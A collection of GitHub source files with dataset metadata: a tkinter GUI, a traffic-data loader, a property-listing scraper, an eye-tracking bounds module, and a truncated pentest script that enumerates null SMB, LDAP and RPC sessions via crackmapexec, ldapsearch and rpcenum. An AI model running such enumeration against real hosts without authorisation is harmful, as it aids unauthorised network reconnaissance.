text_window.insert(INSERT, fileContents)\n print(filePath)\n\nbutton5=Button(root,text=\"sign up\",bg=\"white\",fg='blue').place(x=125,y=510)\nroot.mainloop()\n", "repo_name": "PankajMore02/ninja", "sub_path": "signin.py", "file_name": "signin.py", "file_ext": "py", "file_size_in_byte": 4929, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tkinter.Tk", "line_number": 9, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 10, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 11, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 12, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 13, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 14, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 15, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 16, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 17, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 18, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 19, "usage_type": "call"}, {"api_name": "webbrowser.open_new_tab", "line_number": 58, "usage_type": "call"}, {"api_name": "webbrowser.open_new_tab", "line_number": 60, "usage_type": "call"}, {"api_name": "webbrowser.open_new_tab", "line_number": 62, "usage_type": "call"}, {"api_name": "webbrowser.open_new_tab", "line_number": 64, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 71, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 71, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 76, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 76, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 81, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 81, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 86, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 86, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 91, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 91, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 93, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 93, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 97, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 97, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 99, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 99, "usage_type": "name"}, {"api_name": "tkinter.StringVar", "line_number": 106, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 107, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 109, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 110, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 113, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 113, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 115, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 115, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 119, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 119, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 121, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 121, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 125, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 125, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 127, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 127, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 131, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 131, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 133, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 133, "usage_type": "name"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 141, "usage_type": "call"}]} {"seq_id": "36533559166", "text": "import numpy as np\nimport os\nfrom utils.Norm import MinMax01Scaler,StandardScaler\nimport torch\nfrom utils import get_timef\nimport datetime\n\n\n\n\ndef load_data(dataset):\n \"\"\"\n :param flow_file: str,交通流量数据的 .npz 文件路径\n :return: np.array(N, T, D)\n \"\"\"\n if dataset == 'PEMS04':\n # data_path = os.path.join('data/PEMS04/pems04.npz')\n data = np.load('../data/PEMS04/pems04.npz')['data']\n # data = np.load(data_path)['data'][:, :, 0] #onley the first dimension, traffic flow data\n elif dataset == 'PEMS08':\n # data_path = os.path.join('/home/ZhangM/expGCN/data/PEMS08/pems08.npz')\n data_path = os.path.join('../data/PEMS08/pems08.npz')\n data = np.load(data_path)['data']\n # data = np.load(data_path)['data'][:, :, 0] #onley the first dimension, traffic flow data\n else:\n raise ValueError\n print('Load %s Dataset shaped: ' % dataset, data.shape, data.max(), data.min(), data.mean(), np.median(data))\n # tc = get_timef.TimeCovariates(datetime.datetime(2016, 7, 1), num_ts=17856, freq=\"5T\", normalized=False)\n # vars = tc.get_covariates()\n # vars = np.expand_dims(vars.transpose(1, 0), 2)\n # one = np.ones((1, 170))\n # vars = np.dot(vars, one).transpose(0, 2, 1)\n # data = np.concatenate([data,vars],axis=2)\n # print(data.shape)\n # return np.expand_dims(data,2)\n return data\n\ndef normalize_dataset(data,normalizer):\n if normalizer == 'max01':\n minimum = data.min()\n maximum = data.max()\n scaler = MinMax01Scaler(minimum, maximum)\n data = scaler.transform(data)\n print('Normalize the dataset by MinMax01 Normalization')\n elif normalizer == 'std':\n mean = data.mean()\n std = data.std()\n scaler = StandardScaler(mean, std)\n data = scaler.transform(data)\n print('Normalize the dataset by Standard Normalization')\n\n return data,scaler\n\ndef split_data1(data,trian,time_interval):\n T = int(24 * 60 / time_interval)\n train_data= data[:int(trian*T)]\n test_data = data[int((T*(trian))):]\n print(\"train\",train_data.shape)\n print(\"test\", test_data.shape)\n return train_data, test_data\n\ndef split_data2(data,trian):\n T = data.shape[0]\n train_data= data[:int(T*trian)]\n test_data = data[int((T*(trian))):]\n return train_data,test_data\n\ndef get_XY(data,seq_len,pre_len,single=False):\n '''\n :param data: shape [B, ...]\n :param window:\n :param horizon:\n :return: X is [B, W, ...], Y is [B, H, ...]\n '''\n length = len(data)\n end_index = length - seq_len - pre_len + 1\n X = [] # windows\n Y = [] # horizon\n index = 0\n if single:\n while index < end_index:\n X.append(data[index:index + seq_len])\n Y.append(data[index + seq_len + pre_len - 1:index + seq_len+ pre_len][:,:,0])\n index = index + 1\n else:\n while index < end_index:\n X.append(data[index:index + seq_len])\n Y.append(data[index + seq_len:index + seq_len + pre_len][:,:,0])\n index = index + 1\n # X = np.expand_dims(X, 3)\n Y = np.expand_dims(Y,3)\n # print(\"d\",np.array(Y).shape)\n X = np.array(X).transpose(0,2,1,3) #[B,N,len,D]\n Y = np.array(Y).transpose(0,2,1,3)\n # X= np.swapaxes(X,dim0=1,dim1=2)\n return X, Y\n\ndef get_XY_his(data,seq_len,pre_len,single=False):\n '''\n 对于输入参数的选择，不仅选择临近的历史数据，还选择过去《前 7天》（数据量也不太够、所以选的不多。。），每一天同一时刻的数据\n :param data: shape [B, ...]\n :param window:\n :param horizon:\n :return: X is [B, W, ...], Y is [B, H, ...]\n '''\n length = len(data)\n end_index = length - seq_len - pre_len + 1\n X = [] # windows\n Y = [] # horizon\n x_w = []\n index = 288*7 - seq_len #一天的数据量是12*24 = 288\n if single:\n while index < end_index:\n X.append(data[index:index + seq_len])\n Y.append(data[index + seq_len + pre_len - 1:index + seq_len+ pre_len][:,:,0])\n index = index + 1\n else:\n while index < end_index:\n x_h = []\n for j in range(pre_len):\n day_his = data[index - 288*7 + seq_len +j : index :288][:,:,0]\n x_h.append(day_his)\n x_w.append(x_h)\n X.append(data[index:index + seq_len])\n # X.append(day_his + data[index:index + seq_len])\n Y.append(data[index + seq_len:index + seq_len + pre_len][:,:,0])\n index = index + 1\n # X = np.expand_dims(X, 3)\n Y = np.expand_dims(Y,3)\n x_w = np.array(x_w).transpose(0,3,1,2)\n\n X = np.array(X).transpose(0,2,1,3) #[B,N,len,D]\n Y = np.array(Y).transpose(0,2,1,3)\n X = np.concatenate((X,x_w),axis=3)\n return X, Y\n\n\n\ndef data_loader(X, Y, batch_size, shuffle=True, drop_last=True):\n cuda = True if torch.cuda.is_available() else False\n TensorFloat = torch.cuda.FloatTensor if cuda else torch.FloatTensor\n X,Y = TensorFloat(X), TensorFloat(Y)\n data = torch.utils.data.TensorDataset(X, Y)\n dataloader = torch.utils.data.DataLoader(data, batch_size=batch_size,\n shuffle=shuffle, drop_last=drop_last)\n return dataloader\n\ndef get_dataloader(dataset,normalizer='std',day_split= True,time_interval=5,single = False,\n seq_len=12,pre_len=12,batch_size=64, sameday_his = True):\n data = load_data(dataset)\n data, scaler = normalize_dataset(data, normalizer)\n if(day_split):\n data_train, data_test = split_data1(data, trian=50, time_interval=time_interval)\n else:\n data_train, data_test = split_data2(data,trian=0.7)\n\n if(sameday_his == False):\n x_tra, y_tra = get_XY(data_train, seq_len, pre_len, single)\n x_test, y_test = get_XY(data_test, seq_len, pre_len, single)\n else:\n x_tra, y_tra = get_XY_his(data_train, seq_len, pre_len, single)\n x_test, y_test = get_XY_his(data_test, seq_len, pre_len, single)\n\n print('Train: ', x_tra.shape, y_tra.shape)\n print('Test: ', x_test.shape, y_test.shape)\n train_dataloader = data_loader(x_tra,y_tra,batch_size, shuffle=True, drop_last=True)\n test_dataloader = data_loader(x_test,y_test, batch_size, shuffle=False, drop_last=False)\n return train_dataloader, test_dataloader, scaler,x_tra.shape[0],x_test.shape[0]\n\nif __name__ == '__main__':\n get_dataloader(\"PEMS08\")", "repo_name": "niqingjian2021/STGMN", "sub_path": "utils/data_processing.py", "file_name": "data_processing.py", "file_ext": "py", "file_size_in_byte": 6495, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.load", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 27, "usage_type": "call"}, {"api_name": "utils.Norm.MinMax01Scaler", "line_number": 42, "usage_type": "call"}, {"api_name": "utils.Norm.StandardScaler", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 140, "usage_type": "attribute"}, {"api_name": "torch.cuda", "line_number": 141, "usage_type": "attribute"}, {"api_name": "torch.FloatTensor", "line_number": 141, "usage_type": "attribute"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 143, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 144, "usage_type": "attribute"}]} {"seq_id": "617583012", "text": "import scrapy\nfrom .items import Author\n\nclass DatasSpider(scrapy.Spider):\n name = 'bayuts'\n domain_name = ['bayut.com']\n start_urls = ['https://www.bayut.com/to-rent/property/dubai/']\n \n def parse(self, response):\n\n for link in response.css('div._4041eb80'):\n pages = link.css('a._287661cb').attrib['href']\n yield response.follow(pages,callback=self.parse_data)\n\n for link in response.css('a.b7880daf'):\n if link.css(\"a.b7880daf\").attrib['title']==\"Next\":\n next_page=link.css('a.b7880daf').attrib['href']\n\n# go to next pages\n if next_page is not None:\n yield response.follow(next_page,callback=self.parse)\n\n def parse_data(self,response):\n# setting order load in to json\n author = Author()\n author[\"property_id\"]=None\n author['purpose']=None\n author['type']=None\n author['added_on']=None\n author['furnishing']=None\n author['price']=None\n author[\"location\"] = None\n author['bed_bath_size']=None\n author[\"permit_number\"]=None\n author[\"agent_name\"]=None\n author[\"image_url\"]=None\n author[\"breadcrumbs\"]=None\n author[\"amenities\"]=None\n author['description']=None\n\n# # fetch data\n if response.xpath(\"//span[@aria-label='Reference']/text()\").get()!=None:\n author['property_id']=response.xpath(\"//span[@aria-label='Reference']/text()\").get()\n if response.xpath(\"//span[@aria-label='Purpose']/text()\").get()!=None:\n author['purpose']=response.xpath(\"//span[@aria-label='Purpose']/text()\").get()\n if response.xpath(\"//span[@aria-label='Type']/text()\").get()!=None:\n author['type']=response.xpath(\"//span[@aria-label='Type']/text()\").get()\n if response.xpath(\"//span[@aria-label='Reactivated date']/text()\").get()!=None:\n author['added_on']=response.xpath(\"//span[@aria-label='Reactivated date']/text()\").get()\n if response.xpath(\"//span[@aria-label='Furnishing']/text()\").get()!=None:\n author[\"furnishing\"]=response.xpath(\"//span[@aria-label='Furnishing']/text()\").get()\n price={\"currency\": None,\"amount\":None}\n price['currency']=response.xpath(\"//span[@aria-label='Currency']/text()\").get()\n price['amount']=response.xpath(\"//span[@aria-label='Price']/text()\").get()\n author['price']=price\n author['location']=response.xpath(\"//div[@aria-label='Property header']/text()\").get()\n bed_bath_size={\"bedrooms\":None,\"bathrooms\":None,\"size\":None }\n if response.xpath(\"//span[@class='fc2d1086']/text()\").get()!=None:\n bed_bath_size['bedrooms']=int(response.xpath(\"//span[@class='fc2d1086']/text()\").get().replace(\"Beds\",\"\").replace(\"Bed\",\"\"))\n if response.xpath(\"//span[@class='fc2d1086']/text()\").getall()[1]!=None:\n bed_bath_size['bathrooms']=int(response.xpath(\"//span[@class='fc2d1086']/text()\").getall()[1].replace(\"Baths\",\"\").replace(\"Bath\",\"\"))\n bed_bath_size['size']=response.xpath(\"//span[@class='fc2d1086']//span/text()\").get()\n author['bed_bath_size']=bed_bath_size\n if response.xpath(\"//div[@class='_74093213']//span/text()\").getall()!=None:\n author[\"permit_number\"]=response.xpath(\"//div[@class='_74093213']//span/text()\").getall()[-1]\n if response.xpath(\"//span[@class='_55e4cba0']/text()\").get()!=None:\n author[\"agent_name\"]=response.xpath(\"//span[@class='_55e4cba0']/text()\").get()\n author[\"image_url\"]=response.xpath(\"//img[@src][@aria-label='Cover photo']/@src\").get()\n author[\"breadcrumbs\"]=\">\".join(response.xpath(\"//span[@class='_327a3afc']/text()\").getall()[1:])\n author[\"amenities\"]=response.xpath(\"//span[@class='_005a682a']/text()\").extract()\n author[\"description\"]=\" \".join(response.xpath(\"//span[@class='_2a806e1e']/text()\").getall())\n\n yield author\n#\n", "repo_name": "reninkjoy/scrapy-Bayut-Data-Extraction", "sub_path": "bayut/spiders/bayuts.py", "file_name": "bayuts.py", "file_ext": "py", "file_size_in_byte": 3937, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "scrapy.Spider", "line_number": 4, "usage_type": "attribute"}, {"api_name": "items.Author", "line_number": 25, "usage_type": "call"}]} {"seq_id": "12379941571", "text": "#!/usr/bin/env python\n\"\"\"This module implements functions for prediction bound computation.\"\"\"\n\nimport numpy as np\nfrom scipy import nanmean\n\nfrom ocupy import measures\nfrom ocupy.fixmat import compute_fdm\nfrom ocupy.utils import ismember\n\n\ndef intersubject_scores(fm, category, predicting_filenumbers,\n predicting_subjects, predicted_filenumbers,\n predicted_subjects, controls = True, scale_factor = 1):\n \"\"\"\n Calculates how well the fixations from a set of subjects on a set of\n images can be predicted with the fixations from another set of subjects\n on another set of images.\n\n The prediction is carried out by computing a fixation density map from\n fixations of predicting_subjects subjects on predicting_images images.\n Prediction accuracy is assessed by measures.prediction_scores.\n\n Parameters\n fm : fixmat instance\n category : int\n Category from which the fixations are taken.\n predicting_filenumbers : list\n List of filenumbers used for prediction, i.e. images where fixations\n for the prediction are taken from.\n predicting_subjects : list\n List of subjects whose fixations on images in predicting_filenumbers\n are used for the prediction.\n predicted_filenumnbers : list\n List of images from which the to be predicted fixations are taken.\n predicted_subjects : list\n List of subjects used for evaluation, i.e subjects whose fixations\n on images in predicted_filenumbers are taken for evaluation.\n controls : bool, optional\n If True (default), n_predict subjects are chosen from the fixmat.\n If False, 1000 fixations are randomly generated and used for\n testing.\n scale_factor : int, optional\n specifies the scaling of the fdm. Default is 1.\n\n Returns\n auc : area under the roc curve for sets of actuals and controls\n true_pos_rate : ndarray\n Rate of true positives for every given threshold value.\n All values appearing in actuals are taken as thresholds. Uses lower\n sum interpolation.\n false_pos_rate : ndarray\n See true_pos_rate but for false positives.\n\n \"\"\"\n predicting_fm = fm[\n (ismember(fm.SUBJECTINDEX, predicting_subjects)) &\n (ismember(fm.filenumber, predicting_filenumbers)) &\n (fm.category == category)]\n predicted_fm = fm[\n (ismember(fm.SUBJECTINDEX,predicted_subjects)) &\n (ismember(fm.filenumber,predicted_filenumbers))&\n (fm.category == category)]\n try:\n predicting_fdm = compute_fdm(predicting_fm, scale_factor = scale_factor)\n except RuntimeError:\n predicting_fdm = None\n\n if controls == True:\n fm_controls = fm[\n (ismember(fm.SUBJECTINDEX, predicted_subjects)) &\n ((ismember(fm.filenumber, predicted_filenumbers)) != True) &\n (fm.category == category)]\n return measures.prediction_scores(predicting_fdm, predicted_fm,\n controls = (fm_controls.y, fm_controls.x))\n return measures.prediction_scores(predicting_fdm, predicted_fm, controls = None)\n\ndef intersubject_scores_random_subjects(fm, category, filenumber, n_train,\n n_predict, controls=True,\n scale_factor = 1):\n \"\"\"\n Calculates how well the fixations of n random subjects on one image can\n be predicted with the fixations of m other random subjects.\n\n Notes\n Function that uses intersubject_auc for computing auc.\n\n Parameters\n fm : fixmat instance\n category : int\n Category from which the fixations are taken.\n filnumber : int\n Image from which fixations are taken.\n n_train : int\n The number of subjects which are used for prediction.\n n_predict : int\n The number of subjects to predict\n controls : bool, optional\n If True (default), n_predict subjects are chosen from the fixmat.\n If False, 1000 fixations are randomly generated and used for\n testing.\n scale_factor : int, optional\n specifies the scaling of the fdm. Default is 1.\n\n Returns\n tuple : prediction scores\n \"\"\"\n subjects = np.unique(fm.SUBJECTINDEX)\n if len(subjects) < n_train + n_predict:\n raise ValueError(\"\"\"Not enough subjects in fixmat\"\"\")\n # draw a random sample of subjects for testing and evaluation, according\n # to the specified set sizes (n_train, n_predict)\n np.random.shuffle(subjects)\n predicted_subjects = subjects[0 : n_predict]\n predicting_subjects = subjects[n_predict : n_predict + n_train]\n assert len(predicting_subjects) == n_train\n assert len(predicted_subjects) == n_predict\n assert [x not in predicting_subjects for x in predicted_subjects]\n return intersubject_scores(fm, category, [filenumber], predicting_subjects,\n [filenumber], predicted_subjects,\n controls, scale_factor)\n\ndef upper_bound(fm, nr_subs = None, scale_factor = 1):\n \"\"\"\n compute the inter-subject consistency upper bound for a fixmat.\n\n Input:\n fm : a fixmat instance\n nr_subs : the number of subjects used for the prediction. Defaults\n to the total number of subjects in the fixmat minus 1\n scale_factor : the scale factor of the FDMs. Default is 1.\n Returns:\n A list of scores; the list contains one dictionary for each measure.\n Each dictionary contains one key for each category and corresponding\n values is an array with scores for each subject.\n \"\"\"\n nr_subs_total = len(np.unique(fm.SUBJECTINDEX))\n if not nr_subs:\n nr_subs = nr_subs_total - 1\n assert (nr_subs < nr_subs_total)\n # initialize output structure; every measure gets one dict with\n # category numbers as keys and numpy-arrays as values\n intersub_scores = []\n for measure in range(len(measures.scores)):\n res_dict = {}\n result_vectors = [np.empty(nr_subs_total) + np.nan\n for _ in np.unique(fm.category)]\n res_dict.update(list(zip(np.unique(fm.category), result_vectors)))\n intersub_scores.append(res_dict)\n #compute inter-subject scores for every stimulus, with leave-one-out\n #over subjects\n for fm_cat in fm.by_field('category'):\n cat = fm_cat.category[0]\n for (sub_counter, sub) in enumerate(np.unique(fm_cat.SUBJECTINDEX)):\n image_scores = []\n for fm_single in fm_cat.by_field('filenumber'):\n predicting_subs = (np.setdiff1d(np.unique(\n fm_single.SUBJECTINDEX),[sub]))\n np.random.shuffle(predicting_subs)\n predicting_subs = predicting_subs[0:nr_subs]\n predicting_fm = fm_single[\n (ismember(fm_single.SUBJECTINDEX, predicting_subs))]\n predicted_fm = fm_single[fm_single.SUBJECTINDEX == sub]\n try:\n predicting_fdm = compute_fdm(predicting_fm,\n scale_factor = scale_factor)\n except RuntimeError:\n predicting_fdm = None\n image_scores.append(measures.prediction_scores(\n predicting_fdm, predicted_fm))\n for (measure, score) in enumerate(nanmean(image_scores, 0)):\n intersub_scores[measure][cat][sub_counter] = score\n return intersub_scores\n\ndef lower_bound(fm, nr_subs = None, nr_imgs = None, scale_factor = 1):\n \"\"\"\n Compute the spatial bias lower bound for a fixmat.\n\n Input:\n fm : a fixmat instance\n nr_subs : the number of subjects used for the prediction. Defaults\n to the total number of subjects in the fixmat minus 1\n nr_imgs : the number of images used for prediction. If given, the\n same number will be used for every category. If not given,\n leave-one-out will be used in all categories.\n scale_factor : the scale factor of the FDMs. Default is 1.\n Returns:\n A list of spatial bias scores; the list contains one dictionary for each\n measure. Each dictionary contains one key for each category and\n corresponding values is an array with scores for each subject.\n \"\"\"\n nr_subs_total = len(np.unique(fm.SUBJECTINDEX))\n if nr_subs is None:\n nr_subs = nr_subs_total - 1\n assert (nr_subs < nr_subs_total)\n # initialize output structure; every measure gets one dict with\n # category numbers as keys and numpy-arrays as values\n sb_scores = []\n for measure in range(len(measures.scores)):\n res_dict = {}\n result_vectors = [np.empty(nr_subs_total) + np.nan\n for _ in np.unique(fm.category)]\n res_dict.update(list(zip(np.unique(fm.category),result_vectors)))\n sb_scores.append(res_dict)\n # compute mean spatial bias predictive power for all subjects in all\n # categories\n for fm_cat in fm.by_field('category'):\n cat = fm_cat.category[0]\n nr_imgs_cat = len(np.unique(fm_cat.filenumber))\n if not nr_imgs:\n nr_imgs_current = nr_imgs_cat - 1\n else:\n nr_imgs_current = nr_imgs\n assert(nr_imgs_current < nr_imgs_cat)\n for (sub_counter, sub) in enumerate(np.unique(fm.SUBJECTINDEX)):\n image_scores = []\n for fm_single in fm_cat.by_field('filenumber'):\n # Iterating by field filenumber makes filenumbers\n # in fm_single unique: Just take the first one to get the\n # filenumber for this fixmat\n fn = fm_single.filenumber[0]\n predicting_subs = (np.setdiff1d(np.unique(\n fm_cat.SUBJECTINDEX), [sub]))\n np.random.shuffle(predicting_subs)\n predicting_subs = predicting_subs[0:nr_subs]\n predicting_fns = (np.setdiff1d(np.unique(\n fm_cat.filenumber), [fn]))\n np.random.shuffle(predicting_fns)\n predicting_fns = predicting_fns[0:nr_imgs_current]\n predicting_fm = fm_cat[\n (ismember(fm_cat.SUBJECTINDEX, predicting_subs)) &\n (ismember(fm_cat.filenumber, predicting_fns))]\n predicted_fm = fm_single[fm_single.SUBJECTINDEX == sub]\n try:\n predicting_fdm = compute_fdm(predicting_fm,\n scale_factor = scale_factor)\n except RuntimeError:\n predicting_fdm = None\n image_scores.append(measures.prediction_scores(predicting_fdm,\n predicted_fm))\n for (measure, score) in enumerate(nanmean(image_scores, 0)):\n sb_scores[measure][cat][sub_counter] = score\n return sb_scores\n", "repo_name": "nwilming/ocupy", "sub_path": "ocupy/bounds.py", "file_name": "bounds.py", "file_ext": "py", "file_size_in_byte": 11019, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ocupy.utils.ismember", "line_number": 57, "usage_type": "call"}, {"api_name": "ocupy.utils.ismember", "line_number": 58, "usage_type": "call"}, {"api_name": "ocupy.utils.ismember", "line_number": 61, "usage_type": "call"}, {"api_name": "ocupy.utils.ismember", "line_number": 62, "usage_type": "call"}, {"api_name": "ocupy.fixmat.compute_fdm", "line_number": 65, "usage_type": "call"}, {"api_name": "ocupy.utils.ismember", "line_number": 71, "usage_type": "call"}, {"api_name": "ocupy.utils.ismember", "line_number": 72, "usage_type": "call"}, {"api_name": "ocupy.measures.prediction_scores", "line_number": 74, "usage_type": "call"}, {"api_name": "ocupy.measures", "line_number": 74, "usage_type": "name"}, {"api_name": "ocupy.measures.prediction_scores", "line_number": 76, "usage_type": "call"}, {"api_name": "ocupy.measures", "line_number": 76, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 113, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 137, "usage_type": "call"}, {"api_name": "ocupy.measures.scores", "line_number": 144, "usage_type": "attribute"}, {"api_name": "ocupy.measures", "line_number": 144, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 146, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.setdiff1d", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 159, "usage_type": "attribute"}, {"api_name": "ocupy.utils.ismember", "line_number": 162, "usage_type": "call"}, {"api_name": "ocupy.fixmat.compute_fdm", "line_number": 165, "usage_type": "call"}, {"api_name": "ocupy.measures.prediction_scores", "line_number": 169, "usage_type": "call"}, {"api_name": "ocupy.measures", "line_number": 169, "usage_type": "name"}, {"api_name": "scipy.nanmean", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 192, "usage_type": "call"}, {"api_name": "ocupy.measures.scores", "line_number": 199, "usage_type": "attribute"}, {"api_name": "ocupy.measures", "line_number": 199, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 201, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.setdiff1d", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 224, "usage_type": "attribute"}, {"api_name": "numpy.setdiff1d", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 228, "usage_type": "attribute"}, {"api_name": "ocupy.utils.ismember", "line_number": 231, "usage_type": "call"}, {"api_name": "ocupy.utils.ismember", "line_number": 232, "usage_type": "call"}, {"api_name": "ocupy.fixmat.compute_fdm", "line_number": 235, "usage_type": "call"}, {"api_name": "ocupy.measures.prediction_scores", "line_number": 239, "usage_type": "call"}, {"api_name": "ocupy.measures", "line_number": 239, "usage_type": "name"}, {"api_name": "scipy.nanmean", "line_number": 241, "usage_type": "call"}]} {"seq_id": "19612692238", "text": "#!/bin/python3 \n\nimport sys\nfrom colorama import Fore, Back, Style \nimport subprocess \nimport os \nimport argparse\nimport stat\n\n\ndef printBanner():\n print (Fore.YELLOW + \"\"\" _______ .__ .__ _________ .__ ._.\n \\ \\ __ __| | | | / _____/ ____ _____| |__| |\n / | \\| | \\ | | | \\_____ \\_/ __ \\ / ___/ | \\ |\n/ | \\ | / |_| |__/ \\ ___/ \\___ \\| Y \\|\n\\____|__ /____/|____/____/_______ /\\___ >____ >___| /_\n \\/ \\/ \\/ \\/ \\/\\/\\n\\n\\n \"\"\")\n print(Style.RESET_ALL)\n\n\ndef smb_enum(targets_smb):\n os.system(\"apt install smbmap\")\n targets = targets_smb\n print(Fore.GREEN + \"\\nEnumerating NULL SMB sessions!\" )\n print(Style.RESET_ALL)\n print(Fore.YELLOW)\n os.system(\"\"\"crackmapexec smb \"\"\" + targets + \"\"\" -u 'a' -p '' --shares\"\"\" )\n print(Style.RESET_ALL)\n\ndef ldap_enum(targets_ldap):\n print(\"Executing null session enumeration against LDAP, RPC, and SMB!\")\n print(\"Installing ldap-utils!\")\n os.system(\"apt install ldap-utils\")\n print(\"Done!✅\")\n with open(targets_ldap) as file_in:\n lines = []\n for line in file_in:\n lines.append(line)\n\t\n for l in lines:\n print(Fore.GREEN + \"\\nEnumerating \" + l)\n print(Style.RESET_ALL)\n print(Fore.YELLOW)\n os.system(\"\"\"ldapsearch -H ldap://\"\"\" + l + \"\"\":389/ -x -b '' -W 'objectclass=*'\"\"\")\n print(Style.RESET_ALL)\n\n\ndef rpc_enum(targets_rpc):\n os.chdir('tools')\n os.chdir('rpcenum')\n os.chmod('rpcenum', stat.S_IXOTH)\n with open(targets_rpc) as file_in:\n lines = []\n for line in file_in:\n lines.append(line)\n\t\n for l in lines:\n print(Fore.GREEN + \"\\nEnumerating \" + l)\n print(Style.RESET_ALL)\n print(Fore.YELLOW)\n result = 